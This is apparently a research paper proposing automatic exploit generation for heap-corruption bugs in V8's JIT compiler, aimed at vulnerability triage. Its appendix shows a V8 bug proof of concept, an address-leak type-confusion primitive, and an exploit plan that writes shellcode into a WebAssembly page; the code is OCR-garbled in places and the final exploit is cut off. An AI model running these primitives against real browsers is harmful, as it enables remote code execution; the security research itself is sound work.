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ABSTRACT

This paper proposes a framework for automatic exploit generation
in JIT compilers, focusing in particular on heap corruption vulner-
abilities triggered by dynamic code, i.e., code generated at runtime
by the JIT compiler. The purpose is to help assess the severity of
vulnerabilities and thereby assist with vulnerability triage. The
framework consists of two components: the first extracts high-level
representations of exploitation primitives from existing exploits,
and the second uses the primitives so extracted to construct exploits
for new bugs. We are currently building a prototype implementa-
tion of the framework focusing on JavaScript JIT compilers. To
the best of our knowledge, this is the first proposal to consider
automatic exploit generation for code generated dynamically by
JIT compilers.
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1 INTRODUCTION

This paper proposes a framework for automatic exploit genera-
tion in JIT compilers, focusing in particular on heap corruption
vulnerabilities triggered by dynamic code, i.e., code generated at
runtime by the JIT compiler. Such vulnerabilites typically arise from
optimization bugs in JIT compilers, which then generate buggy dy-
namic code that can result in heap corruptions. Our goal is to help
improve bug triage by exploitability assessment of vulnerabilities.
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Our framework consists of two components. The first analyzes
existing exploits to extract exploitation primitives, which are ab-
stractions of low-level behaviors that are especially useful for con-
structing exploits. The second component attempts to compose
these primitives to construct an exploit for a new bug given a proof-
of-concept input (PoC) that triggers the bug. Among the challenges
that have to be addressed in this context is that JIT compiler op-
timizations can be sensitive to the characteristics of the program
being optimized, which means that when modifying the PoC to
construct the exploit it is necessary to ensure that the JIT compiler
bug will still be triggered appropriately. The initial instantiation
of our framework focuses on Google’s V8 JavaScript engine and
TurboFan JIT compiler [22].

The main technical contribution of this work is that, to the best
of our knowledge, it is the first to consider automatic exploit gener-
ation for dynamic code. While there is a considerable body of work
on automatic exploit generation (see Section 6 for a more detailed
discussion) [2, 4, 15, 16, 23, 24, 29], including some that discuss
exploit generation for interperter and browser bugs [11, 14], they
deal only with static code. Other works in this area are not fully
automated: they either demonstrate a particular technique by man-
ually exploiting a bug, or assume the attacker has already gained
some primitives such as arbitrary write [1, 10, 12, 18, 19, 21, 25, 26].
A secondary contribution is that we show how exploitation primi-
tives, which are the building blocks of exploits, can be identified
by analyzing existing exploits. By contrast, existing approaches
[2, 5, 14, 16, 20, 24, 27, 28] rely on computationally expensive tech-
niques, such as fuzzing and symbolic execution, that do not scale
well.

The remainder of this paper is organized as follows. Section 2
gives a broad overview of our approach; Section 3 describes how ex-
ploitation primitives are extracted via analysis of existing exploits;
Section 4 considers the construction of an exploit for a new bug;
Section 5 discusses the current implementation status of our frame-
work; Section 6 discusses related work; and Section 7 concludes.
Appendix works out an example in detail.

2 EXPLOITATION FRAMEWORK OVERVIEW

The construction of an exploit for a buggy program ultimately
involves reasoning about and manipulating the low-level behavior
of that program at the level of machine instructions and memory
bytes. However, the size and complexity of modern interpreter/JIT-
compiler systems makes it challenging to reason directly about
such low-level behaviors. For our purposes, it is more convenient to
instead use higher-level abstractions of these low-level behaviors,
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Figure 1: Automatic Exploit Generation Framework

which we refer to as exploitation primitives (“primitives” for short),
that are particularly useful in the context of exploit generation.

Each primitive is extracted from an existing exploit and repre-
sented in terms of one sequence of operations (described below).
The operations exchange data between several objects. Among the
several objects, we choose the object whose metafield is changed
as the CoreObj because the change of a metafield can give us a
primitive. Each primitive has an associated ability that specifies
its operational behavior, i.e., what it is able to do. We have the
following 4 kinds of primitives:

e Read(addr). Ability(addrs). The primitive is able to read
the value at the given address (addr). The ability for this kind
of primitives is described by the addresses (addrs) it can read
from.

e Write(addr, value). Ability(addrs). The primitive is able
to write an attacker-controlled value to an attacker-controlled
address. The ability for this kind of primitives is described
the same as the read primitives. We do not give a value ex-
pression because most of the time we can use the CoreObj
to directly overwrite the whole field at the given address.

o Ip-hijack(addr). Ability(n). The primitive is able to over-

write the instruction pointer register with an attacker-controlled

address. Such primitives are created by modifying a code
pointer metafield. Before the modification, the instruction
pointer register uses the original code pointer. After the
modification, the register uses the modified code pointer.
We compare the two register values, and record the number
of consecutive bytes starting from the lowest byte that are
different. We use n to represent the number and say that its
ability is being able to control the lowest n bytes.

e Tycon(obj, DstType). Ability(SrcType, DstType). The prim
itive is able to convert the type of an object to another
attacker-specified type DstType. The primitive’s ability is
being able to convert an object of SrcType to another object
of DesType.

Note that this is not intended to be an exhaustive list. Moreover,
our framework is not tied to any particular set of primitives.

Each primitive is represented by a sequence of operations. The
operations all belong to the following three kinds:

e ReadData(obj, field). This operation reads the value at a
specified field of a specified object.
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e WriteData(obj, field, data). This operation writes attacker-
specified data to an attacker-specified field of an attacker-
specified object.

e CreateObj(specification). This operation creates an object
that is the same as the given specification. We extract objects
from the memory. For each object, we find out its type and
non-metafield values. We use such values and type as its
specification because they determine which code we should
use and the arguments. An example of such specifications
can be found in the appendix.

Besides primitives, another important concept is exploitation
plan. We building exploits by combining primitives and exploitation
plans.

An exploitation plan is a mixture of real code and descriptions
of wanted primitives. The descriptions look the same as our 4 kinds
of primitives. addr is represented by a tuple (base, index, offset).
After replacing the descriptions with real primitives, the execution
of the exploitation plan will achieve the goal of the attacker such
as spawning a shell. For example, an exploitation plan may look
like this:

1 var OBJA = [0, 97, 115, ..., 111;
var OBJC = new Uint8Array(OBJA);
var OBJD = new WebAssembly.Module(OBJC);
var OBJE = new WebAssembly.Instance(OBJD, {});

// Starting from Read, this is a description of

// a wanted primitive. It means we want a read

// primitive to read the field at offset 16+8 from OBJE.
var objel16 = Read((OBJE, None, 16%8));

// Write SHELLCODE to the address obje16.
Write((obje16, None, @), SHELLCODE);
OBJE.exports.main();

O N O R W N
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If we replace the primitive descriptions with real primitives, the
exploitation plan becomes the final exploit. The execution of it will
create a RWX page, inject SHELLCODE into it, and eventually run
the SHELLCODE and give us a shell.

Figure 1 shows the conceptual structure of our framework. There
are two phases: PREPROCESSING and ExpLoIT CREATION. The first
phase is responsible for extracting primitives from existing exploits,
while the second applies the extracted primitives to the exploitation
of new bugs. Details of their behavior are discussed in Sections 3 and
4. The Object Database stores information about object structures
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and relevant methods and is shared between the two phases. Each
object is specified by the type of the object and its sequence of
fields; each field is represented by its type and size (in bytes).

3 PREPROCESSING

Preprocessing involves extracting exploitation primitives from ex-
isting exploits. The Primitive Extractor assumes that we are able
to detect the objects created in the full execution trace of an ex-
ploit. We need this assumption because our approach is based on
reasoning about the data flow between different objects.

By data flow, we mean that the field values and field addresses
in an object flow to another object. For example, a data flow can
be like this: value in field 1 of object A is copied to field 2 of object
B. The data flow information is captured in our representation of
primitives. The representation of each primitive is a sequence of
operations. For example, there is a read operation in the sequence
which reads field 1 of object A. Later, there is a write operation that
writes this value to field 2 of object B. So we are able to capture this
data flow in our representation: field 1 of object A -> field 2 of object
B. The representations of primitives are generated by algorithm 1.
The two algorithms are going to be discussed in section 3.1.

Before identifying objects, we need to find out the memory areas
that store objects. We use the high address shared by a group of
objects to describe a memory area. For example, if the addresses of
a group of objects all begin with 0x135a94, we say that the shared
high address is 0x135a94 and the corresponding memory area is
0x135a94.

For v8, we are interested in two kinds of memory areas: Map area,
areas that store other objects. Map is an object. But we separate
it from other objects because it is special for the following reason.
Map stores type information of other objects. The structure of most
objects starts with a pointer to a Map object. The two facts allow
us to use Map to help identify other objects in the following way.
First, we find pointers to Map area. Each such pointer indicates the
beginning of an object. Then we use its associated Map to determine
its type and structure. With its structure, we are able to identify
this whole object in the memory.

3.1 Primitive Extraction

As discussed in Section 2, each primitive is represented by a se-
quence of operations. Algorithm 1 shows the procedure used to
extract the sequence of primitives primitives(e) in T(e) given an
instruction-level execution trace T(e) for an exploit e, We first ex-
tract the sequence of operations OpSeq(e) from T(e). OpSeq(e) is
initially empty. We begin by gathering all memory reads and writes
in T(e) and use them to analyze the data flow between objects.
We scan through the reads and writes from the beginning to the
end. If we find there is an object created, we record this object and
append a CreateObj operation to OpSeq(e). If we find a write to
an recorded object, we append a WriteData operation to OpSeq(e).
If we find a read from an recorded object, we append a ReadData
operation to OpSeq(e). Eventually, OpSeq(e) stores all the creation,
read, and write operations on objects in T(e).

In this algorithm, FindObjMatch looks at our objs list and re-
turns the object that the current instruction is accessing. FindField
returns the field being accessed. FindSrc returns where the value
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Algorithm 1: Extract operation sequence on objects

Input: An instruction-level execution trace T(e) for an
exploit e
Output: An operation sequence OpSeq(e)
1 rws = GatherMemReadsAndWrites(T(e));
21i=0;
3 objs = [];
+ OpSeq(e) = [];
5 while i <len(rws) do

6 obj = FindObjMatch(i, rws, objs);

7 if isRead(i, rws) and obj then

8 field = FindField(i, rws, obj);

9 append(ObjRead(obj, field)) to OpSeq(e);

10 else

11 if obj then

12 value = FindSrc(i, rws, seq_trace);

13 field = FindField(i, rws, obj);

14 append(ObjWrite(obj, field, value)) to OpSeq(e);
15 else

16 if isHeadOfObjects(i, rws) then

17 type = ObjTypeAnalysis(i, rws);

18 obj_instance = FindObjMemPFields(i, rws);
19 if isValidObj(obj_instance, type) then

20 objs.append(obj_instance);

21 append(ObjCreation(obj_instance)) to

OpSeq(e);

22 i+=1;

being written comes from. It either comes from a previous mem-
ory read or it is self-defined. isHeadOfObjects returns whether the
current memory write is a Map pointer. Such pointers represent
the beginning of objects. ObjTypeAnalysis returns the type value
stored at a specific offset from the Map pointer. FindObjMemFields
returns the memory values of the object’s fields. isValidObj tells
whether the object agrees with its structure.

We then separate OpSeq(e) into different groups. Each group
contains the data flow between several objects: Data inside the
group does not flow out. Data outside the group does not flow in.
This is the criteria on how we separate the groups. Each group is
potentially a primitive. The last thing is to filter out those groups
that are unlikely to be primitives. Read and write primitives usually
involve the modification of bound field, for example the length field
or the pointer field to an element area. Type Confusion primitives
usually involve the modification of type field. Ip-hijack primitives
usually involve the modification of code pointer field such as a
function pointer. For the groups that do not have the above patterns,
we remove them.

3.2 Primitive Database

This database has 4 categories as described in Section 2: Read,
Write, Ip-hijack, Type Confusion. Each primitive is stored in its cor-
responding category. Each primitive is represented by a 3-element
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tuple: (sequence, usage, ability). We use a sequence of operations to
represent extracted primitives. This has been explained in section
2 and 3. The operation indices in the sequence which are used to
invoke the primitive is called its usage. Each primitive has its own
ability which is described in section 2. In the beginning of section
7, we show what our Primitive Database looks like.

For each category of primitives, we sort them according to abil-
ities (defined in section 2): powerful primitives are before other
primitives. For read and write primitives, we have Ability(addrs) to
describe their ability. addrs is a set of addresses that can be accessed.
If the size of the set is greater than others, it is considered to be
more powerful. For Ip-hijack primitives, their ability is described
by Ability(n). If an Ip-hijack primitive has a bigger n than others, it
is considered to be more powerful. TyCon primitives are equally
powerful.

4 EXPLOIT CREATION

Exploit creation for a JIT compiler given a bug PoC involves con-
structing an input for the JIT compiler, namely, a source program,
whose JIT compilation and execution will exploit the target vul-
nerability appropriately. In our case, both the bug PoC and the
constructed exploit are JavaScript programs. This section discusses
the modules involved in this process in our framework.

4.1 Memory Analyzer

The Memory Analyzer maintains the program state. A program
state keeps track of values and permissions (read/write/execute)
associated with registers and memory locations as well as objects
that are in memory, i.e., the locations of the objects, the fields com-
prising the objects, and the values for those fields. The Memory
Analyzer is responsible for monitoring the program state and pass-
ing the state information to the Primitive Application module and
the Exploitation module. The two modules use the state informa-
tion to make sure that the memory is in the desired state during the
exploitation process. Algorithms 4 and 2, together with the example
in the appendix show how this module is used.

4.2 Bug Analyzer

JIT compilers have optimization bugs. Some of the bugs will even-
tually cause heap corruption bugs in the generated dynamic code.
Our Bug Analyzer is to understand how we can modify a PoC file,
so that the optimization bug and the heap corruption bug are still
triggered.

The idea is to identify necessary features in the PoC file. As
long as the features are satisfied, the heap corruption bug will be
triggered. The set of features that we consider is the optimization
actions taken by the JIT compiler. Given a PoC file, we randomly
modify it many times and collect their optimization action sequence.
For those modifications where the heap corruption bug is triggered,
we possibly use the Longest Common Subsequence algorithm on
their optimization action sequences. The algorithm will give us a
sequence of features that are common in these modifications. In
other words, the sequence of features needs to be satisfied for the
heap corruption bug to be triggered.

Another job of Bug Analyzer is analyzing the ability of a bug.
Since we are dealing with heap corruption bugs, we are interested
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in which values can be written to which addresses. We are not clear
about how this will work. But we need to decide which and how
the values in a PoC determine the addresses being corrupted and
the data used in the corruption.

4.3 Primitive Application

4.3.1  Assumptions. The Primitive Application module assumes
that if an object A is allocated before another object B in time, A is
before B in the direction of heap growth. This allows us to easily
overwrite B with A, which saves the trouble of heap manipulation.

4.3.2 Applied Primitives. This module takes an operation sequence
from the Primitive Database and applies it to new bugs. The ap-
plied primitives are added to the Applied Primitives database. This
database has 4 categories: Read, Write, Ip-hijack, Type Confusion.
Each primitive is stored in one category. We record each primitive’s
usage and ability. Usage tells us what JavaScript code we should
use to call the primitive. For each category of primitives, we sort
them according to abilities: powerful primitives are before other
primitives. This has been discussed in section 3.2.

4.3.3  Primitive Construction. We use algorithm 2 to apply the prim-
itives in our Primitive Database to new bugs.

Algorithm 2: Primitive Construction

Input: sequence, object-database, memory-analyzer,
applied-primitives
Output: code
1 pre-conditions = post-conditions = [];
2 for operation € sequence do

3 pre-conditions = post-conditions;

4 if not memory-analyzer.Check(pre-conditions) then
5 L return failure;

6 code = object-database.Implement(operation);

7 if not code then

8 code = applied-primitives.Implement(operation);
9 if not code then

10 L return failure;

1 post-conditions.append(operation.condition);

12 if memory-analyzer.Check(post-conditions) then

13 ‘ yield code;

14 else

15 L return failure;

The algorithm takes a sequence from the Primitive Database. It
tries to implement each operation in the sequence. It first tries to
use normal object method to implement the operation. If it fails, it
chooses a primitive from the Applied Primitives to implement the
operation. If it succeeds, it outputs the corresponding code.

The pre- and post- condition checks make sure each operation is
done correctly. For example, we have a write operation that writes
value 0x1 to field A. The post condition is that field A should have
value 0x1. The post condition then becomes the pre condition of
the next operation. object.database.Implement is pretty straight
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forward. For example, an operation says that we need to create an
array of 2 zeros. The function then generates code "[0, 0]" that cre-
ates the array. applied-primitives.Implement takes an operation and
decides which category of primitives it demands. Then it chooses
the most powerful one of that category from the Applied Primitives
database. Next it asks the memory-analyzer to look at the memory
and solve the parameters in the chosen primitive.

4.4 Exploitation

The Exploit Plan Database contains lots of exploitation plans. Each
plan gives a different way of using primitives to reach users’ goal
of attack. We set some plans in the database. One example is given
in section 2. Our system is able to automatically implement the
plans and eventually reach a goal of attack such as spawning a shell.
Besides, users can also define their exploitation plans to achieve
their goal of attack.

The definition of exploitation plan is given in section 2. In order
to turn a plan into a real exploit, we traverse all the descriptions of
wanted primitives in this plan, and replace them with real primitives.
The real primitives are chosen from the Applied Primitives database.
The most powerful one is firstly chosen. The Memory Analyzer
is used to solve the parameters in the primitive. If this primitive
is not able to finish the job of the description, we choose the next
primitive until there is no primitive to choose.

5 IMPLEMENTATION STATUS

A prototype of the PREPROCESSING component has been finished.
We applied the component to 4 exploits two of which involve JIT
compilation. We are able to extract totally 1764 primitives which
contain all the primitives actually constructed in each exploit. To
be more concrete, we extracted 3 primitives from the exploit for
bug [3], 6 from [7], 25 from [6], 1730 from [8]. We extracted more
than a thousand primitives from the last one is because that we
detected so many objects and the bound field or type field of the
objects is modified by v8. In our implementation, if a bound field
or type field is modified, then it is potentially a primitive. That is
why so many primitives were found.

The idea is to extract the data flow within different object groups.
An object group contains objects that only access objects within
the group. If the metafield of an object is modified, it is potentially
a primitive. If the metafield is a bound field such as length field,
we classify it into Read and Write primitives. If the metafield is a
executable code pointer, we classify it into Ip-hijack primitives. If
it is a type field, we classify it into TyCon primitives. The modified
object is within an object group. We use a sequence of operations
(ReadData, WriteData, CreateObj) to model the creation of the
object group and the data flow within it. The sequence is also our
representation for the primitive.

We are working on the second component now. The Bug Ana-
lyzer is an important module to be implemented. It analyzes the
JIT compiler to understand how a PoC file can be modified so that
the bug will still be triggered. In order to do so, we plan to adopt
the method in section 4.2.

The Memory Analyzer is not implemented. It is expected to
monitor memory values. We believe its implementation is not a
problem because there are other papers doing a similar job. For
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example, Gollum [14] used SHAPESHIFTER to log all live objects
in the memory and record the memory values at a specific address.

The Exploitation and Primitive Application module are partly
implemented. They apply primitives to bugs and translate exploita-
tion plans into real exploits. We will continue to finish all the rest
modules and evaluate them.

6 RELATED WORKS

There are a group of papers about automatic exploit generation
(AEG) that focuses on exploiting programs that take pure data
as input. They are not able to exploit huge programs that take
source code as input, for example, interpreters and browsers. This
is because the two kinds of programs require different format of
input. Besides, these papers rely on fuzzing or symbolic execution
to discover primitives and generate exploits. Fuzzing is not an
ideal choice for huge programs because huge programs have huge
numbers of program paths for fuzzing to explore, and fuzzing is
not efficient and sometimes cannot give us useful results. Symbolic
execution also has path explosion problem which makes it time-
consuming and not applicable system-wide.

In 2011, Avgerinos et al. [2] proposed the first AEG system. They
symbolize the input values and observe which memory addresses
they can control. If they are able to control a return address and a
buffer on the stack, they solve the symbolic formulas, inject shell-
code to the buffer, and modify the return address to the buffer. They
are able to exploit some programs such as iwconfig and socat.

In 2012, Mayhem [4] was proposed. They took a similar way. First,
they use taint analysis to find the path that taints the instruction
pointer. Second, they use symbolic execution to analyze how they
can get to the point where the instruction pointer is tainted and how
they can control the instruction pointer. By solving the symbolic
formulas, they are able to make the instruction pointer point to an
address that contains injected shellcode. They are able to exploit
programs such as iwconfig and htget.

There are other works [13, 15-17, 23, 24, 29] that also take sim-
ilar ways. They rely on fuzzing or symbolic execution to exploit
programs that take data as input.

On other other hand, there are a group of papers focusing on the
automatic exploitation of heap allocators because once we control
heap allocators, we control the programs that use the allocators.
However, these papers only focus on what happens within a compo-
nent of programs - the allocators. They are not able to exploit bugs
that exist in programs but have nothing to do with their allocators.
Moreover, they do not consider and cannot exploit dynamic code.

Dusan et al. [20] symbolizes the overflowed values and uses
symbolic execution to find the controlled instructions that can be
used as primitives. HAEPG [30] symbolizes all input bytes and uses
symbolic execution on function paths to search for interested in-
structions as primitives. HeapHopper [9] uses symbolic execution
in a similar way. They symbolize the corrupted allocator metadata
and explore its influences and thus find primitives. Insu et al. [28]
defines several actions and uses fuzzing to try different combina-
tions of the actions. They want to detect specific primitive patterns
resulted from the actions.

Besides, automatic kernel exploitation is also a hot topic. FUZE
[27] uses fuzzing and symbolic execution to find exploitable states
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for UAF bugs. Then they use symbolic execution to determine
the relationship between input and the exploitable states. KOOBE
[5] uses fuzzing to try differnet program path and uses symbolic
execution to search for primitives among the influenced instructions
by the bug.

Last but not least, there are papers about the automatic exploita-
tion of interpreters and browsers as well. This is most similar to
our work. However, these papers do not consider dynamic code.
They focus on analyzing interpreter and browser code. Therefore,
they cannot analyze and exploit code that is dynamically generated
in interpreters and browsers.

In 2018, PrimGen [11] was proposed to automatically generate
primitives for browsers. They perform static analysis to find sinks
after the crash point. Then they use symbolic execution on the
local areas: from the crash point to the sinks. Solving the symbolic
formulas will give them the values that lead to the sinks.

In 2019, Gollum [14] corrupts different objects on the heap in a
fuzzing manner and sees what primitives they can get. They didn’t
use symbolic execution to find primitives. Instead, each crash after
the corruption of an object is considered to be a potential primitive.

7 CONCLUSION

We proposed a framework for automatic exploit generation in JIT
compilers, focusing in particular on heap corruption vulnerabilities
triggered by dynamic code. The framework contains two compo-
nents: PREPROCESSING, EXPLOIT CREATION FROM BUG POC.
The first component models primitives into sequences of object
operations. With this modelling, this component is able to extract
totally 1764 primitives from 4 exploits. Two of the exploits involve
JIT compilation. The second component applies the extracted prim-
itives to new bugs and thereby generates exploits. We are working
on the second component, especially the Bug Analyzer which is
the main module in the second component.
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APPENDIX: A DETAILED EXAMPLE

The work described here focuses on JavaScript interpreters. These
appear in all modern web browsers and thus present attractive tar-
gets for remote exploits. The details of our exploits depend closely
on the structure and memory layout of JavaScript objects. This
section sketches some background that helps you understand our
object specifications.

For the sake of concreteness, we consider Google’s JavaScript
engine, V8, in this discussion. We focus on the explaining the fol-
lowing types of objects: JSArray, FixedDoubleArray, FixedArray,
because they are frequently used in exploits. And they are used
in our object specifications. JSArray objects, shown in Figure 2(a),
contain four fields. The first one, kMapOffset, is a pointer to a Map
object. It represents the type of the array. kPropertiesOffset is a
pointer to an outline property object which stores outline proper-
ties. kElementsOffset is a pointer to an outline element area. The
element area is either a FixedDoubleArray or a FixedArray. kLength-
Offset is the length of the element area. The length field is also a
type of object: SMI (small integer).

Offset Offset
0x0 0x0
kMapOffset kMapOffset
0x8 0x8
kPropertiesOffset kLengthOffset
0x10 0x10
kElementsOffset element 0
0x18 0x18
kLengthOffset element 1
0x20 0x20
(a) JSArray (b) FixedDoubleArray and

FixedArray

Figure 2: JavaScript object layouts in V8

FixedDoubleArray and FixedArray objects, shown in Figure 2(b),
have the same structure. They contain two metadata fields plus the
array element fields. The meaning of kMapOffset is the same as the
above. kLengthOffset is the number of elements. What follow are
the elements.

A.1 Primitive Extractor

The Primitive Extractor extracts primitives from existing exploits.
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1 var obj = [1.1];
2 /x Define an object array. «/
3 var obj_arr = [obj];
4 /x Define a double array. +/
5 var double_arr = [1.1];
6/« Get the object array's type field. »/
7 var obj_arr_type = obj_arr.oob();
8  /x Get the double array's type field. «/
9 var double_arr_type = double_arr.oob();
10
11 function GetAddrOf (object) {
12 /+ Put the object into obj_arr. +/
13 obj_arr[@] = object;
14 /x Overwrite obj_arr's type to double. +/
15 obj_arr.oob(double_arr_type);
16 /+ Get the object's address in double format. «/
17 let addr = obj_arr[0];
18 /x Recover the type of obj_arr. +/
19 obj_arr.oob(obj_arr_type);
20 return addr;
21}

The above code shows you a primitive from an exploit. This
primitive is able to get the address of a given object. Our system
automatically detects the primitive by reasoning about the data
flow between objects. We use a high level representation to describe
the primitive:

1 ObjSpecificationl: A: [JSArray, None, ->B, None]
B: [JSFixedDoubleArray, None, 1.1]
2 CreateObj(ObjSpecificationl) # line 1

3 ObjSpecification2: C: [JSArray, None, ->D, Nonel
D: [JSFixedArray, None, ->A]

4 CreateObj(ObjSpecification2) # line 3

5 ObjSpecification3: E: [JSArray, None, ->F, Nonel]

F: [JSFixedDoubleArray, None, 1.1]
CreateObj(ObjSpecification3) # line 5
ReadData(C, @) # line 7
ReadData(E, @) # line 9
WriteData(D, 2, OBJECT) # line 13
10 WriteData(C, @, ->8) # line 15
11 ReadData(D, 2) # line 17
12 WriteData(C, @, ->7) # line 19

o K N

This is the sequence of operations we use to describe the prim-
itive. Comments are provided after the symbol #. # line 1 means
that the operation corresponds to the line 1 in the source code. The
comments are for the readers to understand the correspondence
between the primitive in source code and our representation for it.

We put this extracted primitive into the Primitive Database in this
format: (sequence, usage, ability). sequence is the above sequence
of operations. usage is the lines of operations that we use to call
the primitive. In this case, the usage is described by 9, 10, 11, 12.
This is a type confusion primitive. Its ability is described by Object
-> Double. So this is how the primitive is stored in the Primitive
Database:

1 Type: Type Confusion
2 Sequence: The Above Sequence
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3  Usage: 9, 10, 11, 12
4 Ability: Object -> Double

A.2 PoC of a Bug to be Exploited

The following is a proof-of-concept (PoC) of a bug [8] in V8 release
version 7.2.502.3. We will use this PoC to demonstrate how our
framework works.

1 function fun(arg) {

2 let x = arguments.length;
3 al = new Array(0x10);
4 alfe] = 1.1;

5 a2 = new Array(0x10);
6 az2fe] = 1.1;

7 all(x >> 16) * 21] =
8 all(x > 16) * 41] =
9 3

var al, az2;

11 var a3 = new Array();
a3.length = 0x11000;
for (let i = @; i < 30000; i++) fun(1);
fun(...a3);

1.39064994160909e-309;
1.39064994160909e-309;

This is a JIT compiler bug. During its optimization, the type
value of x is considered to be [@, @]. The type of x is a range. It
means that x can only be 0. However, its real value is 1. When we
access the element of al by expression al[(x >> 16) * 21] or
al[(x >> 16) * 41], the bound check is eliminated because the
value of x is 0 determined by its type, so (x >> 16) * 21 and
(x >> 16) * 41 are also 0 and will never access out-of-bounds.
However, the real value of x is 1. When we do the real element
access with the two index (x >> 16) * 21 and (x >> 16) * 41,
we will access out-of-bounds since the real value of x is 1.

A.3 Bug Analyzer

Our Bug Analyzer analyzes the PoC file and stores the following
information into our Applied Primitives: Type, Usage, Ability. Its
primitive type is Read, Write. Since we use the array object a2 to
do out-of-bounds reads and writes, its usage is ‘a2[INDEX]’ and
‘a2[INDEX] = DATA’.Its ability is ‘ThirdField(a2)+INDEX*8+0xf .
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Since the length field of a2 is overwrittento 1.39064994160909e-309,

which decodes to 65535, the range of INDEX is [0, 65535]. The
3rd field of a2 points to its element area. (See JSArray structure
in the beginning of appendix). The ability means that it is able to
access any address within the address expression. So we will store
the following entries in our Applied Primitives database.

1 Type: Read
2 Usage: a2[INDEX]

3 Ability: ThirdField(a2)+INDEX*8+0xf, INDEX = [0,
65535]

4

5 Type: Write

6 Usage: a2[INDEX] = DATA

7 Ability: ThirdField(a2)+INDEX*8+0xf, INDEX = [0,

65535]

18

All upper words such as INDEX and DATA are built-in parame-
ters. They need to be solved at runtime so that the primitive can
access a specific address. ThirdField function is used to get the value
of the third field of an input object.

A.4 Primitive Application

Suppose our system has extracted the following primitives and
stored them in our Primitive Database.

Type: Read
Sequence:
ObjSpecificationi:

A: [JSArray, None, ->B, None]

B: [JSFixedDoubleArray, None, 1.1]
CreateObj(ObjSpecificationt)
WriteData(A, 3, 0x500)

ReadData(B, INDEX+2)

Usage: 8

Ability: GetAddr(B)+INDEXx8+0xf, INDEX = [0, @
x500]

O N A W N

—_
S

11
12
13
14
15
16
17
18
19
20
21

Type: Write
Sequence:
ObjSpecificationi:
A: [JSArray, None, ->B, None]
B: [JSFixedDoubleArray, None, 1.1]
CreateObj(ObjSpecificationl)
WriteData(A, 2, ADDR-0x10)
WriteData(B, 2, DATA)
Usage: 18, 19
Ability: (ADDR-0x10)+0%8+0xf, ADDR =
DiffLowBytes(ThirdField(A))

22

23 Type: Write

24  Sequence:

25 ObjSpecificationi:

26 A: [JSArray, None, ->B, None]

27 B: [JSFixedDoubleArray, None, 1.1]

28 CreateObj(ObjSpecificationt)

29 WriteData(A, 3, 0x500)

30 WriteData(B, INDEX, DATA)

31 Usage: 30

32 Ability: GetAddr(B)+INDEX*8+@xf, INDEX = [0, @
x500]

For read and write primitives, their ability represents a range
of addresses that they can access. The DiffLowBytes in first write
primitive in the Primitive Database represents the number of con-
secutive low bytes that are different from its original value. This
write primitive is created by changing the third field of object A.
Before and after the change, the third field has two different values.
The DiffLowBytes takes the two different values and returns the
number of changed consecutive low bytes n. ADDR = n means that
ADDR can use any value for the lowest n bytes. We will use 4 for n
to be concrete.

Now we apply each representation of extracted primitives to the
new bug. We use the first read primitive as an example. The two
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write primitives are similar. In the beginning of the sequence of the
first read primitive, it says creating a JSArray object whose element
is 1.1. So the Primitive Application module looks at the code for
creating such an object in the Object Database. And it generates
code ‘var _vari_ = [1.11;"

For the WriteData operation at line 7, it is overwriting the
metafield of object A. So we need a primitive from the Applied
Primitive database. There is one write primitive in the database:
‘a2[INDEX] = DATA’. INDEX and DATA are parameters. DATA is
the value we want to write, 0x500. INDEX is used to locate the
3rd field of object A. Our Memory Analyzer locates the position of
object A and object a2, and decides INDEX = (Addr(ThirdField(A)) -
(Addr(B)+0x10))/8 = 60. 0x10 is the header size of object B. Addr(B)
+ 0x10 is where it starts to store its elements. Each field is 8 bytes
long. So we divide the difference of the two addresses by 8. So line
7 corresponds to code ‘a2[60] = 0x500’.

The last operation ReadData at line 8 has an INDEX parameter.
This parameter belongs to the read primitive that we are construct-
ing, and thus different from the previous INDEX parameter which
belongs to the write primitive in the Applied Primitives database.
We use INDEX’ to represent the current parameter. This line is the
usage of the read primitive. Since we are constructing the primitive
instead of using it to do a concrete job, we do not translate this line
into real code for now.

Later when we use the primitive, we need to solve the INDEX’ to
be a specific value. In the ability expression, 0xf is the header of B.
INDEX indicates the element it can access. For example, suppose B
=0x11, and we want to read an address 0x30. We solve the equation:
0x11 + INDEX*8 + 0xf = 0x30. So we have INDEX = 2. INDEX = [0,
0x500] is its value range.

After applying the 3 primitives in the Primitive Database, we
have the following new applied primitives in our Applied Primitives
database:

1 Type: Read

2 Usage: _varl_[INDEX];

3 Ability: ThirdField(_var1_)+INDEXx8+@xf, INDEX =
[0, ox500]

Type: Write
Usage: _var1_[36] = ADDR-0X10; _var3_[0] = DATA;
(_var3_ is an object corresponding to the

S-S N

CreateObj operation in the sequence)
8 Ability: (ADDR-0x10)+0%8+0xf, ADDR = 4

10 Type: Write
11  Usage: _varl1_[INDEX] = DATA;
12 Ability: ThirdField(_var1_)+INDEXx8+@xf, INDEX =

[0, 0x500]
A.5 Exploitation
Suppose our current exploitation plan is the following.
1 var OBJA = [0, 97, 115, ..., 111;
2 var OBJC = new Uint8Array(OBJA);
3 var OBJD = new WebAssembly.Module(OBJC);
4 var OBJE = new WebAssembly.Instance(OBJD, {3});
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5 // We want a read primitive for the field at offset 16+8 from
OBJE.

var obje16 = Read((OBJE, None, 16%8));

// Write SHELLCODE to the address objel6.

Write((obje16, None, @), SHELLCODE);

OBJE.exports.main();

o ® N o

There are two descriptions of wanted primitive at line 6 and 8.
Line 6 wants to read offset 16*8 from OBJE. In the Applied Primitive
database, we have read primitive: ‘_var1_[INDEX];’. Suppose the
ThirdField(_varl_) in the ability expression is evaluated to 0x21.
Then our Memory Analyzer comes to solve the parameter: 0x21 +
INDEX*8 + 0xf = Addr(OBJE) + 16*8. Suppose Addr(OBJE) is 0x30
observed by our Memory Analyzer. Then INDEX = 16. Therefore,
for line 6, we have ‘var objel16 = _var1_[16];.

Line 8 has a similar reasoning process. We use the write primitive
at line 5 in our Applied Primitive database. So we have ‘_var1_[36]
= obje16-0x10; _var3_[@]=SHELLCODE;.

If we synthesize the PoC, applied primitives, and the exploitation
plan, we have the following exploit that spawns a shell.

1/« The PoC +/

2 function fun(arg) {

3 let x = arguments.length;

4 al = new Array(0x10); al[0] = 1.1;

5 a2 = new Array(0x10); a2[0] = 1.1;

6 all(x > 16) * 21] = 1.39064994160909e-309;

7 all(x >> 16) * 41] = 1.39064994160909e-309;

8 3}

9 wvar al, az;

10 var a3 = new Array(); a3.length = 0x11000;

11 for (let i = @; i < 30000; i++) fun(1); fun(...
a3);

12/« Primitivel:

13 Line 1 through line 7 in the Primitive Database +/

14 var _varl_ = [1.1]; a2[60] = 0x500;

15/« Primitive2: Line 12 through line 17+/

16 var _var3_ = [1.1];

